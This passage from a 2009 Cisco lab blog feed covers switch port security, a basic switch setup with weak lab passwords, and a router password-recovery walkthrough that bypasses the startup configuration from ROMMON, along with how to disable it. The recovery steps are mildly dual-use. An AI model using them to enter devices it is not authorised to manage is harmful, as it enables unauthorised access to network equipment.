used on any other switch port because it's address is tied to the port it bacame sticky with.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Once the device is connected to it's origional port and the errdisable recovery interval has expired (or we issue a shut - no shut on the port) were happily pinging the router again and I can see the violation is logged.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show port-security int fa 0/9&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Port Security : Enabled&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Port status : SecureUp&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Violation mode : Shutdown&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Maximum MAC Addresses : 1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Total MAC Addresses : 1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Configured MAC Addresses : 0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Sticky MAC Addresses : 1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Aging time : 0 mins&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Aging type : Absolute&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;SecureStatic address aging : Disabled&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Security Violation count : 1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Or to see all interfaces that have had exceptions I could use:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show port-security&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SrKM0tSYK1I/AAAAAAAABPI/DlDtIFsmLrI/s1600-h/sh+port-security-vio.PNG"&gt;&lt;img src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SrKM0tSYK1I/AAAAAAAABPI/DlDtIFsmLrI/s320/sh+port-security-vio.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5382519341798927186" style="cursor: pointer; width: 320px; height: 144px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Supposing I want to be able to connect another device to a port that I have configured for port-security or change the port of a device that has became sticky with a port?  Well I would issue the following:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;clear port-security sticky interface fastEthernet 0/9&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And then I could use that device on another port or use port 9 for a different device.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To see a list of ports that have devices tied to them either by statically assigning them by making the port sticky you can either issue:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;S1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show port-security address&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SrKOY8a_dUI/AAAAAAAABPQ/Z5iGqjglFAo/s1600-h/sh+port-security+stick+address.PNG"&gt;&lt;img src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SrKOY8a_dUI/AAAAAAAABPQ/Z5iGqjglFAo/s320/sh+port-security+stick+address.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5382521063848506690" style="cursor: pointer; width: 320px; height: 110px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Or simply:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show running-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SrKOvDnBSUI/AAAAAAAABPY/aRaoduazsbo/s1600-h/sh+run+-+mac+sticky.PNG"&gt;&lt;img src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SrKOvDnBSUI/AAAAAAAABPY/aRaoduazsbo/s320/sh+run+-+mac+sticky.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5382521443735128386" style="cursor: pointer; width: 320px; height: 146px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And that brings me to the end of another successful cisco adventure!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-5355775071560751214?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/5355775071560751214/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=5355775071560751214&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5355775071560751214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5355775071560751214'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/switch-port-security.html' title='Switch Port Security'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vZAp7b1QDw8/SrKM0tSYK1I/AAAAAAAABPI/DlDtIFsmLrI/s72-c/sh+port-security-vio.PNG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-4036768051237321866</id><published>2009-09-15T21:05:00.003+01:00</published><updated>2009-09-15T21:24:58.431+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Switch'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Initial Switch Configuration</title><content type='html'>&lt;div&gt;In this post I'm just going to detail how to get a 2950 switch up with a very basic configuration. I'll build upon this config in later posts.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;I start off by giving my switch a name (S1) and enabling a secret password (okay, I know its crap but this is a lab). I'll turn off domain lookups as they are very annoying every time I mistype something and give it a default gateway.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Switch&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;enable&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Switch#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;configure terminal&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Switch(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;hostname S1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;enable secret cisco&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;no ip domain-lookup&lt;/span&gt; &lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ip default-gateway 10.0.1.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now I'll set up the console port with a 30 minute time-out and a password of cisco.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;line console 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;logging synchronous&lt;/span&gt; &lt;/div&gt;&lt;div&gt;S1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;exec-timeout 30 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;password cisco&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;login&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I do the same for the VTY ports.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;line vty 0 4&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;logging synchronous&lt;/span&gt; &lt;/div&gt;&lt;div&gt;S1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;exec-timeout 30 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;password cisco&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;login&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Theres no aux port on the switch so we can move on to VLAN 1.  VLAN 1 is the default VLAN and in a later post I'll move everything out of this VLAN and just use it for administration but for now I'll set it up with an IP address so it's accessible by telnet.  I also turn on password encryption and show the running-config so the password encryption service can works it's magic.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;interface vlan 1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-if)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ip address 10.0.1.210 255.255.255.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-if)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;no shutdown&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config-if)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;service password-encryption&lt;/span&gt; &lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;do show running-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Building configuration...&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Current configuration : 1658 bytes&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;version 12.1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;no service single-slot-reload-enable&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;no service pad&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;service timestamps debug uptime&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;service timestamps log uptime&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;service password-encryption&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;hostname S1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;enable secret 5 $1$AqOD$ifdJ30Bwn.bJuBXRFov4O/&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;ip subnet-zero&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;no ip domain-lookup&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;spanning-tree extend system-id&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;interface FastEthernet0/1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; no ip address&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;-------------Cut------------------&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;interface FastEthernet0/24&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; no ip address&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; interface Vlan1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; ip address 10.0.1.210 255.255.255.0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; no ip route-cache&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;ip default-gateway 10.0.1.1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;ip http server&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;line con 0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; exec-timeout 30 0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; password 7 0822455D0A16&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; logging synchronous&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; login&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;line vty 0 4&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; exec-timeout 30 0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; password 7 0822455D0A16&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; logging synchronous&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; login&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;line vty 5 15&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; login&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;end&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Finally I set up a host entry for my router (R1), turn off the web server that I saw was on in the running-config, save the config to startup-config and reload.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ip host R1 10.0.1.220&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;no ip http server&lt;/span&gt; &lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;copy running-config startup-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Destination filename [startup-config]? &lt;/div&gt;&lt;div&gt;Building configuration...&lt;/div&gt;&lt;div&gt;[OK]&lt;/div&gt;&lt;div&gt;S1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;reload&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Thats it, the boring stuff is all over!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-4036768051237321866?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/4036768051237321866/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=4036768051237321866&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4036768051237321866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4036768051237321866'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/initial-switch-configuration.html' title='Initial Switch Configuration'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-5581060639782403558</id><published>2009-09-14T21:09:00.004+01:00</published><updated>2009-09-14T22:25:10.663+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Password Recovery'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Password Recovery on a Cisco Router</title><content type='html'>In this post I'll demonstrate how to perform password recovery on a Cisco router, and I'll also show you how to prevent password recovery.&lt;br /&gt;&lt;br /&gt;Password recovery might be necessary for legtimate needs or it could be used by an attacker for nefarious purposes such as to gain access to router or switch configurations.  Physical access is required for password recovery so if your routers (or switches) are in an accessible area and cannot be physically secured you may want to use the command listed below for preventing password recovery (if your router supports it that is).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Password Recovery&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The process is quite simple.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Enter ROMMON mode and change the configuration register to bypass the startup-configuration (0x2142) &amp;amp; restart the router.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Log into the router which now has no configuration and copy the startup-config to running-config.&lt;/li&gt;&lt;li&gt;Change the enable password, any user passwords or anything else that needs changing.&lt;/li&gt;&lt;li&gt;Set the configuration register to boot back from the startup-config (0x2102).&lt;/li&gt;&lt;li&gt;Save the running-config back to startup-config and reload.&lt;/li&gt;&lt;li&gt;Access the router with your updated credentials.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;So here's how this sort of looks on the router.  I've cut some of the router output to save on text but it's pretty easy to follow.&lt;br /&gt;&lt;br /&gt;To start with I connect up to the console port and reboot the router.  During the very first part of boot up I press Ctrl+Break.  This brings me to ROM monitor mode.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;System Bootstrap, Version 12.2(8r)YN, RELEASE SOFTWARE (fc1)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;TAC Support: http://www.cisco.com/tac&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Copyright (c) 2002 by cisco Systems, Inc.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;C800/SOHO series (Board ID: 29-129) platform with 49152 Kbytes of main memory&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;rommon 1 &gt; &lt;span style="color: rgb(51, 255, 51);"&gt;confreg 0x2142&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;You must reset or power cycle for new config to take effect&lt;/span&gt;&lt;br /&gt;rommon 2 &gt;&lt;span style="color: rgb(51, 255, 51);"&gt; reset&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Cisco C831 (MPC857DSL) processor (revision 0x300) with 44237K/4915K bytes of memory.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Processor board ID AMB07430HLJ (3718955443), with hardware revision 0000 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Chassis serial number AMB07430HLJ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;CPU rev number 7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;3 Ethernet interfaces&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;4 FastEthernet interfaces&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;128K bytes of NVRAM.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;16384K bytes of processor board System flash (Read/Write)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;2048K bytes of processor board Web flash (Read/Write)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;         --- System Configuration Dialog ---&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Would you like to enter the initial configuration dialog? [yes/no]:&lt;span style="color: rgb(51, 255, 51);"&gt; no&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Press RETURN to get started!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Router&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;enable&lt;/span&gt;&lt;br /&gt;Router#&lt;span style="color: rgb(51, 255, 51);"&gt;copy startup-config running-config&lt;/span&gt;&lt;br /&gt;Destination filename [running-config]?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1477 bytes copied in 2.252 secs (656 bytes/sec)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;R1#&lt;span style="color: rgb(51, 255, 51);"&gt;configure terminal &lt;/span&gt;&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;R1(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;username syn password letmein&lt;/span&gt;&lt;br /&gt;R1(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;enable secret letmein&lt;/span&gt;&lt;br /&gt;R1(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;config-register 0x2102&lt;/span&gt;&lt;br /&gt;R1(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;exit&lt;/span&gt;&lt;br /&gt;R1#&lt;span style="color: rgb(51, 255, 51);"&gt;copy running-config startup-config&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Destination filename [startup-config]? &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Building configuration...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[OK]&lt;/span&gt;&lt;br /&gt;R1#&lt;span style="color: rgb(51, 255, 51);"&gt;reload&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Proceed with reload? [confirm]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;User Access Verification&lt;/span&gt;&lt;br /&gt;Username: &lt;span style="color: rgb(51, 255, 51);"&gt;syn&lt;/span&gt;&lt;br /&gt;Password:&lt;br /&gt;R1&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;enable&lt;/span&gt;&lt;br /&gt;Password:&lt;br /&gt;R1#&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So we can see that I was able to log in and access privileged mode with my new credentials.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Password Recovery Prevention&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Okay, so how do we prevent this password recovery business?  Before using this &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;method&lt;/span&gt; you should be warned (and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;IOS&lt;/span&gt; will warn you!) that if you forget the password you cannot recovery the password in any way and you will have to go to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Cisco&lt;/span&gt; with your tail between your legs!  So only use this if &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_3"&gt;absolutely&lt;/span&gt; necessary and use with caution.&lt;br /&gt;&lt;br /&gt;R1#&lt;span style="color: rgb(51, 255, 51);"&gt;configure terminal &lt;/span&gt;&lt;br /&gt;Enter configuration commands, one per line.  End with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;CNTL&lt;/span&gt;/Z.&lt;br /&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;config&lt;/span&gt;)#&lt;span style="color: rgb(51, 255, 51);"&gt;no service password-recovery&lt;/span&gt;&lt;br /&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;config&lt;/span&gt;)#&lt;span style="color: rgb(51, 255, 51);"&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What IOS is basically doing after setting this option is enabling ROMMON security which prevents you going into ROMMON mode and telling the router to bypass the Startup-config.&lt;br /&gt;&lt;br /&gt;ROMMON security can be turned off from with IOS by issuing the following:&lt;br /&gt;&lt;br /&gt;R1#&lt;span style="color: rgb(51, 255, 51);"&gt;configure terminal &lt;/span&gt;&lt;br /&gt;Enter configuration commands, one per line.  End with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;CNTL&lt;/span&gt;/Z.&lt;br /&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;config&lt;/span&gt;)#&lt;span style="color: rgb(51, 255, 51);"&gt;service password-recovery&lt;/span&gt;&lt;br /&gt;R(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;config&lt;/span&gt;)#&lt;span style="color: rgb(51, 255, 51);"&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Useful Links&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.cisco.com/en/US/products/sw/iosswrel/ps1831/products_tech_note09186a00801746e6.shtml"&gt;Cisco Password Recovery&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cisco.com/en/US/products/hw/routers/ps274/products_configuration_example09186a00801d8113.shtml"&gt;Cisco ROMMON Security&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-5581060639782403558?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/5581060639782403558/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=5581060639782403558&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5581060639782403558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5581060639782403558'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/password-recovery-on-cisco-router.html' title='Password Recovery on a Cisco Router'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 